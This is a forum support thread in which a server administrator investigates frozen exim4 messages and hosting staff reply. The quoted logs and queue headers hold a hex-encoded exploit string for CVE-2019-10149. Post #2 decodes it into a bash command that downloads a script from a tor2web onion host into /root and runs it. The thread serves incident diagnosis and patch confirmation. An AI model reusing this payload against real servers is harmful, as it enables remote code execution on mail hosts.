Lots of frozen messages (exim4)


#1

Hi folks,

I seem to be seeing a lot of “Message is frozen” reports in my exim4 mainlog, and accordinging to this post on StackOverflow it’s a sign that someone is sending from the server who shouldn’t be? Or is spamming or something?

I ran a quick zgrep on a specific message ID and it came back with a much lengthier version of the below:

/var/log/exim4/mainlog.1:2019-07-22 05:03:20 1hop9S-0001Up-Uz Message is frozen
/var/log/exim4/mainlog.2.gz:2019-07-20 14:11:51 1hop9S-0001Up-Uz <= <> H=(xxxxxxxxxxxxxx.bytemark.co.uk) [xx.xx.xx.xx] P=smtp S=873
/var/log/exim4/mainlog.2.gz:2019-07-20 14:11:51 1hop9S-0001Up-Uz ** ${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dT\x2036\x20https\x3a\x2f\x2fan7kmd2wp4xo7hpr\x2etor2web\x2eio\x2fsrc\x2fldmxim\x20\x2dO\x20\x2froot\x2f\x2eydek\x20\x26\x26\x20sh\x20\x2froot\x2f\x2eydek\x20\x2dn\x20\x26\x22}}@xxxxxxxxxxxxxx.bytemark.co.uk: Too many "Received" headers - suspected mail loop
/var/log/exim4/mainlog.2.gz:2019-07-20 14:11:51 1hop9S-0001Up-Uz Frozen (delivery error message)

Has anyone got any idea how I stop this happening, or if this is a compromise?

Thanks in advance

Note: The H (Host) mentioned in the first error/warning is of my bytemark server. So seems to suggest a local action…(?)
Note2: Could this be related to TLS certificates? Looks that way…


#2

Translated:
/bin/bash -c “wget --no-check-certificate -T 36 https: // an7kmd2wp4xo7hpr . tor2web . io/src/ldmxim -O /root/.ydek && sh /root/.ydek -n &”

If it’s attempting to generate the file in /root it seems to suggest, then I can report that that file does not exist on the server.

Investigations continue…

I just check the exim message queue for a couple of these frozen messages, and all of them bar one are these weird messages.

exim -Mvh 1hop9S-0001Up-Uz

1hop9S-0001Up-Uz-H
Debian-exim 109 114
<>
1563628310 0
-helo_name xxxxxxxxxxxx. bytemark. co. uk
-host_address [server ip].52364
-interface_address [server if].25
-received_protocol smtp
-body_linecount 1
-max_received_linelength 12
-frozen 1563628311
-host_lookup_failed
XX
1
${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dT\x2036\x20https\x3a\x2f\x2fan7kmd2wp4xo7hpr\x2etor2web\x2eio\x2fsrc\x2fldmxim\x20\x2dO\x20\x2froot\x2f\x2eydek\x20\x26\x26\x20sh\x20\x2froot\x2f\x2eydek\x20\x2dn\x20\x26\x22}}@xxxxxxxxxxxxxxx.bytemark.co.uk

490P Received: from [xx.xx.xx.xx] (helo=xxxxxxxxxxxxxxxxxxxxx . bytemark . co . uk)
by xxxxxxxxxxxxxxxxx. bytemark .co .uk with smtp (Exim 4.89)
id 1hop9S-0001Up-Uz
for ${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dT\x2036\x20https\x3a\x2f\x2fan7kmd2wp4xo7hpr\x2etor2web\x2eio\x2fsrc\x2fldmxim\x20\x2dO\x20\x2froot\x2f\x2eydek\x20\x26\x26\x20sh\x20\x2froot\x2f\x2eydek\x20\x2dn\x20\x26\x22}}@xxxxxxxxxxxxxxxxxxxxxx . bytemark .co .uk; Sat, 20 Jul 2019 14:11:51 +0100
012P Received: 1
012P Received: 2
012P Received: 3
012P Received: 4
snip…

Yet more investigations seem to suggest an exploit in exim4 (server still running 4.89, even though my hosting is supposed to be automagically updated daily). Something to do with restricting specific characters in exim config is mention in this Exim mailing list post but I’m not entirely sure it will help in my situation, becuase I’m not sure about the status of this “hack” on my server.

Further… in that mailing list, mention is made for checking if DISABLE_EVENTS was precompiled into the Fedora version of exim, so I ran the check against exim to see if Events is shown in “support”, it is.

exim -bV | grep -i support

Support for: crypteq iconv() IPv6 PAM Perl Expand_dlfunc GnuTLS move_frozen_messages Content_Scanning DKIM DNSSEC Event OCSP PRDR PROXY SOCKS TCP_Fast_Open

After checking my ACLs in exim config.d I see the following, which would suggest that I am protected(?)

.ifdef CHECK_RCPT_LOCAL_LOCALPARTS
deny
domains = +local_domains
local_parts = CHECK_RCPT_LOCAL_LOCALPARTS
message = restricted characters in address
.endif

I assume that at least the default value is set on the server, but not had any luck finding it thus far.


Given all of the above, I will assume for the time being that this is occurring via a webform on one of my customers websites who don’t check for these things in their code (er maybe not, you don’t get to set a send to email address on any of the forms is use on the server).

As previously noted the attacks are not executed, or at least there appears to be no sign of any negative effect, mainly based on the fact that the output file on the cert wget request doesn’t exist on the server.


I have been watching the logs again today, and sure as heck it appeared again, the output filename is different than before, so I am assuming this is script residing on the server somewhere, but I cannot find it anywhere.

I have checked the apache logs (access & error) for anything at the exact same time as the code runs, but nothing in there.

I have tried a grep search for it across all my sites, nothing coming up.

grep -rnw /srv/domain.com/ -e ‘{run’

Other pages seem to suggest a potential for a conflict between forwarders, but that’s not my issue, I did find this question on the github Exim wiki and while it is very useful in looking at the headers of the suspect mail loop messages, those header files tell me nothing I already don’t know.

Just found this CyberReason page regarding the exim exploit I am talking about here, which refers to CVE-2019-10149

Woah, what’s this in my process list?

root 29514 20690 0 14:34 ? 00:00:00 sshd: [accepted]
root 29565 20690 0 14:35 ? 00:00:00 sshd: [accepted]
root 29568 23454 0 14:35 ? 00:00:00 dovecot/auth -w
root 29570 20690 0 14:35 ? 00:00:00 sshd: unknown [priv]
sshd 29571 29570 0 14:35 ? 00:00:00 sshd: unknown [net]

Here’s PID 20690:

root 20690 1 0 Mar03 ? 00:05:49 /usr/sbin/sshd -D

Compromised?
Is this legit? Doesn’t look legit at all, but I don’t want to kill it based off my paranoia alone.


#3

We’ve responded via email regarding this issue - if you need help from us directly or would just like our input, it’s best to email or call :slight_smile:

Just for reference in case any others come across a similar issue:

Exim versions from 4.89-2+deb9u4 onward are patched against this CVE (2019-10149), with 4.89-2+deb9u3 being the vulnerable version. The Exim package was automatically updated on this server once the fix was available, so whilst the Exim queue is filled with emails that would ordinarily exploit this vulnerability, they’re essentially just a bit of a nuisance instead. In these cases it’s often a good choice to just block the IPs that are sending these emails through.

The sshd process is admittedly a bit misleading, but shouldn’t to be anything to worry about. Since sshd uses TCP, it establishes a connection each time a login attempt is made, which’ll show up in process lists and netstat. To double check, you can see established connections with:

(redacted processes other than sshd, replaced server’s IP with 1.2.3.4, and external IP with 5.6.7.8)

$ netstat -anp | grep EST
tcp 0 1119 1.2.3.4:22 5.6.7.8:47578 ESTABLISHED 31995/sshd: [accept 

We can double check the process against the process id with ps:

$ ps faux | grep 31995
root 32098 0.0 0.0 14856 976 pts/1 S+ 0:00 | \_ grep 31995
root 31995 0.0 0.0 72024 5740 ? Ss 0:00 \_ sshd: [accepted]

And if we search for the external IP in auth.log, we’ll likely see some connection attempts:

$ grep '5.6.7.8' /var/log/auth.log | grep 'Failed' | tail -n 3
$date $time $server sshd[32456]: Failed password for root from 5.6.7.8 port 63849 ssh2
$date $time $server sshd[32456]: Failed password for root from 5.6.7.8 port 63849 ssh2
$date $time $server sshd[32456]: Failed password for root from 5.6.7.8 port 63849 ssh2

#4

You are a megastar, thank you for all your help in this regard.

Keeping this thread in my bookmarks.